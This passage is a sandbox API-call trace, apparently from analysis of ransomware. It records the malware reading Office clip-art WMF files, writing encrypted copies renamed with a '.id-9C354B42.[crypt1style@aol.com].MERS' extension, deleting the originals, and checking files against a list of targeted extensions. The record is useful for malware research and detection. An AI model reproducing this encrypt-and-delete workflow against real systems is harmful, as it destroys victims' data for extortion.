lstrlenW (lpString="BS00453_.WMF") returned 12 [0273.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.349] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=2436) returned 1 [0273.349] CloseHandle (hObject=0x3a8) returned 1 [0273.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0273.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0273.351] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.351] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.355] GetLastError () returned 0x0 [0273.355] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x984, lpOverlapped=0x0) returned 1 [0273.486] WriteFile (in: hFile=0x39c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x990, lpOverlapped=0x0) returned 1 [0273.487] ReadFile (in: hFile=0x3d8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0273.487] WriteFile (in: hFile=0x39c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.487] SetEndOfFile (hFile=0x39c) returned 1 [0273.487] CloseHandle (hObject=0x39c) returned 1 [0273.487] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.487] SetEndOfFile (hFile=0x3d8) returned 1 [0273.488] CloseHandle (hObject=0x3d8) returned 1 [0273.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.551] lstrlenW (lpString=".doc") returned 4 [0273.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.551] lstrlenW (lpString=".docx") returned 5 [0273.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.551] lstrlenW (lpString=".pdf") returned 4 [0273.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.551] lstrlenW (lpString=".xls") returned 4 [0273.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.551] lstrlenW (lpString=".xlsx") returned 5 [0273.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.551] lstrlenW (lpString=".ppt") returned 4 [0273.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.551] lstrlenW (lpString=".zip") returned 4 [0273.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.551] lstrlenW (lpString=".rar") returned 4 [0273.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.551] lstrlenW (lpString=".bz2") returned 4 [0273.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.551] lstrlenW (lpString=".7z") returned 3 [0273.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.551] lstrlenW (lpString=".dbf") returned 4 [0273.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.551] lstrlenW (lpString=".1cd") returned 4 [0273.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.552] lstrlenW (lpString=".jpg") returned 4 [0273.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.552] lstrlenW (lpString=".doc") returned 4 [0273.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString=".docx") returned 5 [0273.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.552] lstrlenW (lpString=".pdf") returned 4 [0273.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString=".xls") returned 4 [0273.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.552] lstrlenW (lpString=".xlsx") returned 5 [0273.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.552] lstrlenW (lpString=".ppt") returned 4 [0273.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.552] lstrlenW (lpString=".zip") returned 4 [0273.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.552] lstrlenW (lpString=".rar") returned 4 [0273.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString=".bz2") returned 4 [0273.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString=".7z") returned 3 [0273.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.552] lstrlenW (lpString=".dbf") returned 4 [0273.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.552] lstrlenW (lpString=".1cd") returned 4 [0273.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0273.552] lstrlenW (lpString=".jpg") returned 4 [0273.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.553] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.553] lstrlenW (lpString="BS01080_.WMF") returned 12 [0273.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0273.553] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=2732) returned 1 [0273.553] CloseHandle (hObject=0x3d4) returned 1 [0273.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0273.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0273.553] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.553] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0273.554] GetLastError () returned 0x0 [0273.554] ReadFile (in: hFile=0x3d4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xaac, lpOverlapped=0x0) returned 1 [0273.674] WriteFile (in: hFile=0x2cc, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xab0, lpOverlapped=0x0) returned 1 [0273.674] ReadFile (in: hFile=0x3d4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0273.675] WriteFile (in: hFile=0x2cc, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.675] SetEndOfFile (hFile=0x2cc) returned 1 [0273.675] CloseHandle (hObject=0x2cc) returned 1 [0273.675] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.675] SetEndOfFile (hFile=0x3d4) returned 1 [0273.676] CloseHandle (hObject=0x3d4) returned 1 [0273.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0273.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.677] lstrlenW (lpString=".doc") returned 4 [0273.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString=".docx") returned 5 [0273.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.677] lstrlenW (lpString=".pdf") returned 4 [0273.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString=".xls") returned 4 [0273.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.677] lstrlenW (lpString=".xlsx") returned 5 [0273.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.677] lstrlenW (lpString=".ppt") returned 4 [0273.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.677] lstrlenW (lpString=".zip") returned 4 [0273.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.677] lstrlenW (lpString=".rar") returned 4 [0273.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString=".bz2") returned 4 [0273.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString=".7z") returned 3 [0273.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.677] lstrlenW (lpString=".dbf") returned 4 [0273.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.677] lstrlenW (lpString=".1cd") returned 4 [0273.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.678] lstrlenW (lpString=".jpg") returned 4 [0273.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.678] lstrlenW (lpString=".doc") returned 4 [0273.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".docx") returned 5 [0273.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.678] lstrlenW (lpString=".pdf") returned 4 [0273.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".xls") returned 4 [0273.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.678] lstrlenW (lpString=".xlsx") returned 5 [0273.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.678] lstrlenW (lpString=".ppt") returned 4 [0273.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.678] lstrlenW (lpString=".zip") returned 4 [0273.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.678] lstrlenW (lpString=".rar") returned 4 [0273.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".bz2") returned 4 [0273.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString=".7z") returned 3 [0273.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.678] lstrlenW (lpString=".dbf") returned 4 [0273.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.678] lstrlenW (lpString=".1cd") returned 4 [0273.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0273.678] lstrlenW (lpString=".jpg") returned 4 [0273.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.679] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.679] lstrlenW (lpString="CG1606.WMF") returned 10 [0273.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0273.681] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=3564) returned 1 [0273.681] CloseHandle (hObject=0x3d4) returned 1 [0273.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0273.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0273.682] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.682] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0273.682] GetLastError () returned 0x0 [0273.682] ReadFile (in: hFile=0x3d4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0xdec, lpOverlapped=0x0) returned 1 [0273.765] WriteFile (in: hFile=0x2cc, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0273.766] ReadFile (in: hFile=0x3d4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0273.766] WriteFile (in: hFile=0x2cc, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xe8, lpOverlapped=0x0) returned 1 [0273.766] SetEndOfFile (hFile=0x2cc) returned 1 [0273.766] CloseHandle (hObject=0x2cc) returned 1 [0273.766] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0273.766] SetEndOfFile (hFile=0x3d4) returned 1 [0273.771] CloseHandle (hObject=0x3d4) returned 1 [0273.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0273.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.771] lstrlenW (lpString=".doc") returned 4 [0273.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.771] lstrlenW (lpString=".docx") returned 5 [0273.771] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.771] lstrlenW (lpString=".pdf") returned 4 [0273.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.771] lstrlenW (lpString=".xls") returned 4 [0273.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.771] lstrlenW (lpString=".xlsx") returned 5 [0273.771] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.771] lstrlenW (lpString=".ppt") returned 4 [0273.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.771] lstrlenW (lpString=".zip") returned 4 [0273.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.771] lstrlenW (lpString=".rar") returned 4 [0273.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString=".bz2") returned 4 [0273.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString=".7z") returned 3 [0273.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.772] lstrlenW (lpString=".dbf") returned 4 [0273.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.772] lstrlenW (lpString=".1cd") returned 4 [0273.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.772] lstrlenW (lpString=".jpg") returned 4 [0273.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.772] lstrlenW (lpString=".doc") returned 4 [0273.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString=".docx") returned 5 [0273.772] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.772] lstrlenW (lpString=".pdf") returned 4 [0273.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString=".xls") returned 4 [0273.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.772] lstrlenW (lpString=".xlsx") returned 5 [0273.772] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.772] lstrlenW (lpString=".ppt") returned 4 [0273.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.772] lstrlenW (lpString=".zip") returned 4 [0273.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.773] lstrlenW (lpString=".rar") returned 4 [0273.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.773] lstrlenW (lpString=".bz2") returned 4 [0273.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.773] lstrlenW (lpString=".7z") returned 3 [0273.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.773] lstrlenW (lpString=".dbf") returned 4 [0273.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.773] lstrlenW (lpString=".1cd") returned 4 [0273.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0273.773] lstrlenW (lpString=".jpg") returned 4 [0273.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.773] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.773] lstrlenW (lpString="CLIP.WMF") returned 8 [0273.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0273.822] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=2262) returned 1 [0273.822] CloseHandle (hObject=0x288) returned 1 [0273.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0273.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 